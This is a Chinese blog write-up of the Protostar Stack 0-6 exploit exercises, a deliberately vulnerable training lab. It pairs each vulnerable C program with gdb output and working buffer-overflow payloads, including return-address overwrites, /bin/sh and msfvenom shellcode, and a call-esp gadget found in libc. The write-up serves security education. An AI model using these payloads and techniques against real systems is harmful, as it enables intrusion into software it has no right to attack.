Exploit Exercises Protostar Stack Part 0-7-程序员宅基地

技术标签: stack  Exploit Exercises  pwn  信息安全  Protostar  漏洞分析与利用  

 

Stack0

首先看下源码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

看来我们是要通过缓冲区溢出讲局部变量modified的值改为1或者我们将程序的返回值直接执行成功的printf就行了

首先看看汇编代码

(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)        
0x08048405 <main+17>:    lea    0x1c(%esp),%eax
0x08048409 <main+21>:    mov    %eax,(%esp)
0x0804840c <main+24>:    call   0x804830c <gets@plt>
0x08048411 <main+29>:    mov    0x5c(%esp),%eax
0x08048415 <main+33>:    test   %eax,%eax
0x08048417 <main+35>:    je     0x8048427 <main+51>
0x08048419 <main+37>:    movl   $0x8048500,(%esp)
0x08048420 <main+44>:    call   0x804832c <puts@plt>
0x08048425 <main+49>:    jmp    0x8048433 <main+63>
0x08048427 <main+51>:    movl   $0x8048529,(%esp)
0x0804842e <main+58>:    call   0x804832c <puts@plt>
0x08048433 <main+63>:    leave  
0x08048434 <main+64>:    ret    
End of assembler dump.

看到这个0x080483fd <main+9>: movl $0x0,0x5c(%esp) ,就是 modified = 0;

下面这个就是buffer的地址

0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)

为了看看开了什么保护,还是装个peda,懒得去单独搞个checksec了,结果发现用不了这个虚拟机的gdb不支持python的感觉,还是搞checksec吧

$ ./checksec -f /opt/protostar/bin/stack0
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    FORTIFY    Fortified Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No    0        2    /opt/protostar/bin/stack0

0x5c跟0x1c相差了0x40个字节,我们实时0x44个A是什么情况 可以看到刚好覆盖到了,假如我们覆盖成1或者其他非0值就行

(gdb) x /4w $esp+0x5c
0xbffffcac:    0x41414141    0x08048400    0x00000000    0xbffffd38

覆盖成1或者其他非0值

$ python -c 'print "A"*0x40+"\x01\x00\x00\x00"' | ./stack0
you have changed the 'modified' variable
$ python -c 'print "A"*0x40+"\x01"' | ./stack0
you have changed the 'modified' variable

覆盖返回地址

发现buffer距离返回地址是0x54,后面改为要覆盖的地址即可

$ python -c 'print "A"*0x50+"\x19\x84\x04\x08"' | ./stack0
you have changed the 'modified' variable
you have changed the 'modified' variable
Segmentation fault                                                                                                                            
$ python -c 'print "\x00"*0x50+"\x19\x84\x04\x08"' | ./stack0
Try again?
you have changed the 'modified' variable
Segmentation fault

有个问题就是段错误了

stack1

还是先看代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

这个基本跟stack0差不多,不过这里要求modified 必须为0x61626364 还有就是这里通过命令行传参

结果:

$ ./stack1 $(python -c 'print "A"*0x40+"dcba"') 
you have correctly got the variable to the right value

stack2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这里考察的是设置环境变量

$ GREENIE=`python -c 'print "A"*0x40+"\x0a\x0d\x0a\x0d"'`
$ export GREENIE
$ ./stack2
you have correctly modified the variable

stack 3

代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

获得win函数地址

(gdb) print win
$1 = {void (void)} 0x8048424 <win>

所以最终就简单了,但是我们这里好像直接覆盖返回地址的话比如覆盖一个fp能执行且不影响程序的地址,原因应该是调用了fp(); 为了简单 所以我们覆盖fp的值就好了

$ python -c 'print "A"*0x40+"\x24\x84\x04\x08"' | ./stack3 
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这个就直接覆盖返回地址了

(gdb) print win
$1 = {void (void)} 0x80483f4 <win>

调试发现偏移是0x4c

$ python -c 'print "A"*0x4C+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

stack5

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这里叫你开始执行shellcode了

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:    mov    %eax,(%esp)
0x080483d4 <main+16>:    call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:    leave  
0x080483da <main+22>:    ret    
End of assembler dump.
(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) r
Starting program: /opt/protostar/bin/stack5 

Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffffd64) at stack5/stack5.c:10
10    stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) x $eax
0xbffffc70:    0xb7fd7ff4

eax的值就是局部变量的其实地址,我们将返回地址覆盖为这个,shellcode放最前面就行了

有个坑就是这个地址跟实际的不一样,我们调试的gdb地址是调试状态的地址。所以要用core文件。

用这个定位ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

root@protostar:/tmp# gdb /opt/protostar/bin/stack5  core.11.stack5.3147 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
/root/.gdbinit:1: Error in sourced command file:
/root/peda/peda.py:8: Error in sourced command file:
Undefined command: "from".  Try "help".
Reading symbols from /opt/protostar/bin/stack5...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x /30x $esp-0x50
0xbffffc50:    0x44434241    0x41414141    0x41414141    0x41414141
0xbffffc60:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc70:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc80:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc90:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffca0:    0x41414141    0xbffffd00    0xbffffd4c    0xb7fe1848
0xbffffcb0:    0xbffffd00    0xffffffff    0xb7ffeff4    0x08048232
0xbffffcc0:    0x00000001    0xbffffd00

感觉这系统有点问题,没有任何返回,如果exit,就退出了,而不是返回上一层shell

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

后来直接用exec(ls)的shellcode

giantbranch:~# msfvenom -p linux/x86/exec CMD="ls" -f python 
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of python file: 192 bytes
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
buf += "\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"

那么就可以执行ls的了,真是日了狗,应该是我第一次的shellcode错了(当时是学习一步一步学rop时候的shellcode,怎么会错了)

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6

stack6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

这里if((ret & 0xbf000000) == 0xbf000000),如果返回地址是以bf开头,那么就会退出,所以我们要讲返回地址改成其他地址,比如程序中或者libc库中的地址

先定位返回值,懒得gdb调试定位了,直接peda(如果当前虚拟机用不了peda,可以用别的虚拟机啊)

gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

看看那里崩溃了

(gdb) r
Starting program: /opt/protostar/bin/stack6 
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
0x41414a41 in ?? ()
(gdb)

查偏移为80

gdb-peda$ pattern_offset 0x41414a41 
1094797889 found at offset: 80

覆盖返回地址为ret指令地址

将返回地址覆盖为ret指令,下一个dword就可以0xbf开头了

随便在下面找ret的地址就好

root@protostar:/opt/protostar/bin# objdump -d ./stack6

./stack6:     file format elf32-i386


Disassembly of section .init:

08048330 <_init>:
 8048330:    55                       push   %ebp
 8048331:    89 e5                    mov    %esp,%ebp
 8048333:    53                       push   %ebx
 8048334:    83 ec 04                 sub    $0x4,%esp
 8048337:    e8 00 00 00 00           call   804833c <_init+0xc>
 804833c:    5b                       pop    %ebx
 804833d:    81 c3 b0 13 00 00        add    $0x13b0,%ebx
 8048343:    8b 93 fc ff ff ff        mov    -0x4(%ebx),%edx
 8048349:    85 d2                    test   %edx,%edx
 804834b:    74 05                    je     8048352 <_init+0x22>
 804834d:    e8 1e 00 00 00           call   8048370 <__gmon_start__@plt>
 8048352:    e8 09 01 00 00           call   8048460 <frame_dummy>
 8048357:    e8 24 02 00 00           call   8048580 <__do_global_ctors_aux>
 804835c:    58                       pop    %eax
 804835d:    5b                       pop    %ebx
 804835e:    c9                       leave  
 804835f:    c3                       ret    

Disassembly of section .plt:

08048360 <__gmon_start__@plt-0x10>:
 8048360:    ff 35 f0 96 04 08        pushl  0x80496f0
 8048366:    ff 25 f4 96 04 08        jmp    *0x80496f4
 804836c:    00 00                    add    %al,(%eax)
    ...
    ...
    ...

我选这个吧:804835f

root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x5f\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA彿¿j
                                                                                                            XRfh-c榯sh
1.txt    final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
final0    final2    format1  format3  heap0    heap2  net0     net2  net4  stack1  stack3  stack5  stack7

覆盖返回地址为jmp esp

这个应该是比较最为通用方便的了

由于在当前程序找不到,我们去libc找吧 看看使用的库在哪

root@protostar:/opt/protostar/bin# ldd ./stack6
    linux-gate.so.1 =>  (0xb7fe4000)
    libc.so.6 => /lib/libc.so.6 (0xb7e99000)
    /lib/ld-linux.so.2 (0xb7fe5000)

用rp查找一下

root@protostar:/opt/protostar/bin# ./rp-lin-x86 -f /lib/libc.so.6 --rop=2 | grep "call esp"
0x00117fc0: aam 0x74 ; out dx, al ; call esp ;  (1 found)
......
......
0x001288a8: add dh, dh ; call esp ;  (1 found)
0x001288a9: add dh, dh ; call esp ;  (1 found)
0x00129f18: bound ecx, dword [ebp] ; sti  ; call esp ;  (1 found)
0x00002e63: call esp ;  (1 found)
0x00083a4b: call esp ;  (1 found)
0x00110af8: call esp ;  (1 found)
0x00117fc3: call esp ;  (1 found)
0x0011a12a: call esp ;  (1 found)
0x0011a12b: call esp ;  (1 found)
0x0011b17e: call esp ;  (1 found)
0x0011b17f: call esp ;  (1 found)
0x0011b19a: call esp ;  (1 found)
0x0011b19b: call esp ;  (1 found)
......
......

选这个吧0x00110af8

>>> hex(0xb7e99000 + 0x00110af8)
'0xb7fa9af8L'

但发现这是错的

(gdb) x /4i 0xb7fa9af8L
0xb7fa9af8 <translit_to_idx+4504>:    adc    $0x18000010,%eax
0xb7fa9afd <translit_to_idx+4509>:    adc    %al,(%eax)
0xb7fa9aff <translit_to_idx+4511>:    add    %bl,(%ebx)
0xb7fa9b01 <translit_to_idx+4513>:    adc    %al,(%eax)

后来直接看maps

root@protostar:/home/user# cat /proc/5087/maps 
08048000-0804e000 r-xp 00000000 00:10 260        /bin/sleep
0804e000-0804f000 rw-p 00005000 00:10 260        /bin/sleep
0804f000-08070000 rw-p 00000000 00:00 0          [heap]
b7e96000-b7e97000 rw-p 00000000 00:00 0 
b7e97000-b7fd5000 r-xp 00000000 00:10 759        /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r--p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rw-p 00140000 00:10 759        /lib/libc-
......
......
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

那就需要减个0x2000了,这时候就对了

(gdb) x /4i 0xb7fa7af8
0xb7fa7af8 <translit_from_tbl+7160>:    call   *%esp
0xb7fa7afa <translit_from_tbl+7162>:    add    %eax,(%eax)
0xb7fa7afc <translit_from_tbl+7164>:    add    %al,(%eax)
0xb7fa7afe <translit_from_tbl+7166>:    add    %al,(%eax)

那么就可以了

root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\xf8\x7a\xfa\xb7" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u012763794/article/details/76614927

智能推荐

AngularJS自定义服务_angular自定义服务-程序员宅基地

如同指令一样,系统内置的服务以$开头,我们也可以自己定义一个服务。定义服务的方式有如下几种:使用Module的factory方法使用Module的service方法使用系统内置的$provide服务a. factory:可以认为是设计模式中的工厂方法,就是你提供一个方法,该方法返回一个对象实例,对于angularJS中的factory来说,就是先定义一个对象,给这个对象_angular自定义服务

数据库中的Schema和Database的区别-程序员宅基地

 在mysql中创建一个Schema和创建一个Database的效果好像是一样的,但是在sqlserver和orcal数据库中效果又是不同的,目前我只能理解为在mysql中schema<==>database;  数据库中的user和schema的关系:  假如我们想了解数据库中的user和schema的关系,首先必须要清楚数据库中的...

Jmeter连接Redis-程序员宅基地

Jmeter插件访问Redis常用方式:1)使用现有的JmeterRedis插件;2)通过Beanshell连接、读、写Redis数据;一、 Jmeter访问Redis data参考地址:https://www.cnblogs.com/zhangfeivip/p/9450370.htmlhttps://jmeter-plugins.org/wiki/RedisDataSet/..._jmeter连接redis

邮件发送:550 User has no permission,535 Error: authentication failed_邮件发送失败550userhasnopermission-程序员宅基地

在我发送邮件时产生的一些错误,在这里总结一下:**问题一:550 User has no permission **登录总是会被拒绝,验证没有权限。解决办法是进入163邮箱,进入邮箱中心——客户端授权密码,选择开启即可,如下截图:问题二:535 Error: authentication failed:认证失败虽然用户名和密码填的是对的,就是说认证失败是因为这里的密码不是你邮箱的密码..._邮件发送失败550userhasnopermission

JdbcTemplate无法通过druid.properties连接数据库_肚饿不喜欢的博客-程序员宅基地

JdbcTemplate无法通过druid.properties连接数据库在一次做JdbcTemplate的练习中,遇到无法连接数据库,导致程序无法运行通过一番检查后最终锁定druid.peoperties文件出错我的原始druid.properties文件为:driver=com.mysql.cj.jdbc.Driverurl=jdbc:mysql://localhost:3306/db_testuser=rootpassword=redhat这是按照之前的抽取JDBC工具类 JDBCUt

关于descendantFocusability的设置-程序员宅基地

android:descendantFocusability用法简析 开发中很常见的一个问题,项目中的listview不仅仅是简单的文字,常常需要自己定义listview,自己的Adapter去继承BaseAdapter,在adapter中按照需求进行编写,问题就出现了,可能会发生点击每一个item的时候没有反应,无法获取的焦点。原因多半是由于在你自己定义的Item中存在诸如Imag

随便推点

CMD中使用attrib命令设置文件只读、隐藏属性详解_echo attrib +h-程序员宅基地

本文介绍一个cmd下的一个attrib.exe的小程序,它可以用来设置文件的属性。我们知道文件的属性有只读、隐藏、系统、存档和无内容索引等5个,只读和隐藏用得比较多,另外三个用得比较少。不知道大家有没有用过attrib.exe这个cmd下的小程序,它可以用来设置文件的属性。先来看看它的帮助文件。C:\Users\splaybow>help attrib显示或更改文件属性。ATT..._echo attrib +h

DataTable中Rows.RemoveAt(i)和Rows(i).Delete的区别-程序员宅基地

delete并不是真的删除 只是 将该row的rowstate变为 rowstate.delete(Rows.Count还是那么多);remove是 真的从datatable中删除。_rows(i).delete

企业 keepalived 高可用项目实战 Nginx+keepalived实现七层的负载均衡_nginx实战-程序员宅基地

1、Keepalived VRRP 介绍keepalived是什么 keepalived是集群管理中保证集群高可用的一个服务软件,用来防止单点故障。keepalived工作原理 keepalived是以VRRP协议为实现基础的,VRRP全称Virtual Router Redundancy Protocol,即虚拟路由冗余协议。 虚拟路由冗余协议,可以认为是实现高可..._nginx实战

python操作mysql的简单类(pymysql模块)-程序员宅基地

1、pymysql实现步骤建立连接通道connect 创建游标cursor,操作设置为字典类型,返回结果为字典格式!不写默认是元组格式! 向数据库发送操作指令execute2、sql防注入实现#构建sql以下两种均可sql = "select * from userinfo where username=%s and password=%s"# sql = "select *...

win怎么更换计算机密码错误,win10系统更改开机密码提示“Windows不能更改密码”的解决方法...-程序员宅基地

win10系统更改开机密码提示“Windows不能更改密码”的解决方法?我们在操作win10系统电脑的时候,常常会遇到win10系统更改开机密码提示“Windows不能更改密码”的问题。那么出现win10系统更改开机密码提示“Windows不能更改密码”的问题该怎么解决呢?很多对电脑不太熟悉的小伙伴不知道win10系统更改开机密码提示“Windows不能更改密码”到底该如何解决?其实只需要鼠标右击..._win10 windows不能更改密码什么意思

python汉字排序_Python实现针对中文排序的方法-程序员宅基地

本文实例讲述了Python实现针对中文排序的方法。分享给大家供大家参考,具体如下:Python比较字符串大小时,根据的是ord函数得到的编码值。基于它的排序函数sort可以很容易为数字和英文字母排序,因为它们在编码表中就是顺序排列的。>> print ','< '1' pyB:return 1elif pyA < pyB:return 0else:bhA=eval(searchdict(dic_b..._python 中文排序